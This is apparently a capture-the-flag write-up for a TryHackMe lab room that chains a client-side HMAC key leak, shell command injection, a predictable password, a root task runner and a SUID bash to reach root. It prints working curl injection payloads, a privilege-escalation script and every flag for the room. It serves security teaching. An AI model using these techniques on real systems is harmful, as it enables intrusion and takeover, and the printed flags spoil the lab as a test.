01The Unwinnable Game

TryHackMe Sidequests 2026 · SQ1 Writeup

TryHackMe Sidequests 2026 SQ1 Room Logo
SQ1 UnwinnableGame

Nobody beats the Yeti's game.

The Unwinnable Game is the start of Sidequests 2026 — a Bandit Yeti whack-a-mole game that can't be won honestly. Forge the client-side signature, break into the relay through command injection, and ride a deterministic password straight to root.

HMAC Forgery · Command Injection · Deterministic Creds · Insecure Task Runner · Root

Cypher Stream Relay · Attack Summary

relay → operator → root

Five-Stage Compromise · relay (uid 1001) → operator (uid 1002) → root

01 · Secret

game.js

HMAC key shipped to the client, lets any score be signed.

02 · RCE

/api/recover

Household field dropped straight into a shell command.

03 · Creds

keygen.py

Operator password = sha256(hostname + fixed salt)[:16].

04 · Runner

cron (root)

Executes any file operator drops in its maintenance queue.

05 · Root

SUID bash

Dropped script sets the SUID bit → bash -p.

02Concepts

Web App & Linux Privesc Fundamentals

What's inside.

  1. 01

    Client-Side Trust

    Any secret shipped in JavaScript — SCORE_SECRET included — is public the moment it reaches the browser.

  2. 02

    HMAC Signatures

    A valid signature only proves possession of the key, not that the score was earned honestly — if the key leaks, so does the win.

  3. 03

    OS Command Injection

    User input concatenated into a shell string lets ;, |, and $() chain arbitrary commands onto the intended one.

  4. 04

    Deterministic Secrets

    Deriving a password from hash(hostname + fixed_salt) means it never changes across re-deployments — "no state to lose" also means no entropy to protect.

  5. 05

    Insecure Task Runners

    A root-owned process that blindly executes anything an unprivileged account drops into a watched folder is a privilege-escalation primitive in disguise.

  6. 06

    SUID Abuse

    Setting the SUID bit on /bin/bash from a root context, then running bash -p, keeps the effective UID at root in the shell.

03Walkthrough

AttackBox · Cypher Stream Relay

Step-by-step breach.

Step 01Recon

Pull the Game's Source

curl the relay's /static/game.js. It hardcodes SCORE_SECRET and posts {score, sig} to /api/score — the comment in app.py even says the leak is the point.

Step 02Forge the win

Sign a Winning Score

Compute HMAC-SHA256(SCORE_SECRET, "100") locally, then POST it straight to /api/score with curl -c cookies.txt so the winning session is saved for every request after.

Step 03First flag

Open the Vault

Replay the saved cookie against /vault. The page drops the first flag and exposes a file recovery form that POSTs a household value to /api/recover.

Step 04RCE

Inject Into the Recovery Script

app.py builds "/opt/cypher-stream/recover.sh " + household and runs it with shell=True. Appending ; id or | id to household executes as relay (uid 1001).

Step 05Loot & notes

Grab Flags & Read History

Use the injection to cat user.txt and flag_enum.txt, then .bash_history — it shows a previous session running keygen.py and su operator.

Step 06Deterministic creds

Derive the Operator Password

keygen.py builds the password as sha256(hostname + "ransommit-cypher-2026")[:16]. Grab the hostname over the injection, then compute the same digest locally.

Step 07Pivot

Become Operator, Drop a Payload

Pipe the derived password into su operator -c '...' through the injection to copy a one-line script (chmod u+s /bin/bash) into /home/operator/maintenance/.

Step 08Root

Let Root Run It For You

relay-maintenance-runner.py runs as root and executes anything owned by operator in that folder. Seconds later /bin/bash is SUID — bash -p reads root.txt and operator.txt.

Forge & Submit a Winning Score
# sign a round-number score with the leaked client-side secret
$ SIG=$(python3 -c "
import hmac, hashlib
secret = 'yeti-loves-round-numbers'
score = '100'
print(hmac.new(secret.encode(), score.encode(), hashlib.sha256).hexdigest())
")

# submit it and save the winning session cookie
$ curl -s -c cookies.txt -X POST http://TARGET:31337/api/score \
    -H "Content-Type: application/json" \
    -d "{\"score\": 100, \"sig\": \"$SIG\"}"
{"message":"That's... not supposed to happen.","ok":true,"won":true}
Command Injection → Loot & Hostname
# confirmed RCE as uid 1001 (relay)
$ curl -s -b cookies.txt -X POST http://TARGET:31337/api/recover \
    -H "Content-Type: application/x-www-form-urlencoded" \
    --data-urlencode "household=test; id"
uid=1001(relay) gid=1001(relay) groups=1001(relay)

# pull the loot that feeds the next stage
$ curl ... --data-urlencode "household=test; cat /home/relay/user.txt"
$ curl ... --data-urlencode "household=test; cat /opt/cypher-stream/flag_enum.txt"
$ curl ... --data-urlencode "household=test; cat /opt/cypher-stream/keygen.py"
$ curl ... --data-urlencode "household=test; hostname"
tryhackme-2404
Deterministic Password → Operator → SUID Root
# keygen.py: password = sha256(hostname + ROTATION_SALT)[:16]
$ python3 -c "
import hashlib
hostname = 'tryhackme-2404'
salt = 'ransommit-cypher-2026'
print(hashlib.sha256((hostname + salt).encode()).hexdigest()[:16])
"
88986b5ea2e6d9c5

# base64 a tiny payload to sidestep quoting through curl -> shell -> su
$ PAYLOAD=$(echo -e '#!/bin/bash\nchmod u+s /bin/bash' | base64 -w0)

# write it into operator's watched maintenance folder via su
$ curl -s -b cookies.txt -X POST http://TARGET:31337/api/recover \
    -H "Content-Type: application/x-www-form-urlencoded" \
    --data-urlencode "household=test; mkdir -p /tmp/x; echo $PAYLOAD | base64 -d > /tmp/x/pwn.sh; \
      echo 88986b5ea2e6d9c5 | su operator -c 'cp /tmp/x/pwn.sh /home/operator/maintenance/pwn.sh && \
      chmod +x /home/operator/maintenance/pwn.sh'"

# root's maintenance runner picks it up within seconds
$ curl ... --data-urlencode "household=test; ls -la /bin/bash"
-rwsr-xr-x 1 root root 1446024 /bin/bash

# and root is yours
$ curl ... --data-urlencode "household=test; /bin/bash -p -c 'cat /root/root.txt'"
THM{the_yeti_trusted_too_soon}
Stage Weakness Artifact Result
1 · Forge Secret shipped to client static/game.js · SCORE_SECRET Any score signable
2 · Foothold OS command injection /api/recover · household param RCE as relay
3 · Notes Secrets left in enum output flag_enum.txt Flag recovered
4 · Creds Deterministic password derivation keygen.py · hostname + fixed salt Operator password known
5 · Root Root runner trusts operator-owned files relay-maintenance-runner.py SUID bash → root

04Flags

Verified · All 5 Flags Captured

Room Complete · relay → operator → root

The game was never winnable — the box was.

Five chained flaws take you from a game you can't honestly win to a root shell: a client-exposed signing key, a textbook shell injection, secrets left behind in a previous session's trail, a password that never changes between re-images, and a "privileged helper" that trusts anything an unprivileged account hands it.

  • HMAC Forged
  • RCE as relay
  • Operator Pivot
  • Root via SUID

Final Flag · Root

THM{the_yeti_trusted_too_soon}

Flag 1

Claim the prize the game always promised.

THM{never_trust_a_client_side_scoreboard}

Flag 2

Your first foothold on the machine.

THM{the_stream_gives_up_its_files}

Flag 3

The relay left notes to itself.

THM{the_key_was_hiding_in_the_comments}

Flag 4

The same recipe, every time.

THM{same_recipe_every_time}

Flag 5

Who really runs the relay.

THM{the_yeti_trusted_too_soon}